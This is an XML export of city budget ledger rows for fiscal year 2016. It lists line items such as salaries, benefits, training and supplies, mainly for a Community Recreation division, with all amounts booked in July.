<row _id="20238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>242237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>242237</total></row>
<row _id="20239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="20240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50275</total></row>
<row _id="20241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1707</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1707</total></row>
<row _id="20242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9500</total></row>
<row _id="20243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>578700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>578700</total></row>
<row _id="20244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52173</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52173</total></row>
<row _id="20245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1809</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1809</total></row>
<row _id="20246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22357</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22357</total></row>
<row _id="20247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>748</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>748</total></row>
<row _id="20248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="20249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>212</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>212</total></row>
<row _id="20250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="20251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="20252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>578950.0</object><object_description>ADMIN - CON PLAN/ACTION PLAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22600</total></row>
<row _id="20253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13136</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13136</total></row>
<row _id="20254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1417</total></row>
<row _id="20255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER FROM FUND 04</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-282394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-282394</total></row>
<row _id="20257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2632</total></row>
<row _id="20258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-764061</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-764061</total></row>
<row _id="20259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402150.0</object><object_description>MORTUARY SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-289557</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-289557</total></row>
<row _id="20260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="20261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12000</total></row>
<row _id="20262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="20263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>298</total></row>
<row _id="20264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>64932</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64932</total></row>
<row _id="20266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306</total></row>
<row _id="20267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3168</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3168</total></row>
<row _id="20268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3595</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3595</total></row>
<row _id="20269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>214</total></row>
<row _id="20270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="20271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7500</total></row>
<row _id="20272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1329</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1329</total></row>
<row _id="20273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3297</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3297</total></row>
<row _id="20275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1600</total></row>
<row _id="20276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>78947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>78947</total></row>
<row _id="20277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43119</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43119</total></row>
<row _id="20278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>686874</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>686874</total></row>
<row _id="20279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>630</total></row>
<row _id="20280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5310</total></row>
<row _id="20281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>925</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>925</total></row>
<row _id="20282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3222</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3222</total></row>
<row _id="20283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1660</total></row>
<row _id="20284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2050</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2050</total></row>
<row _id="20285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
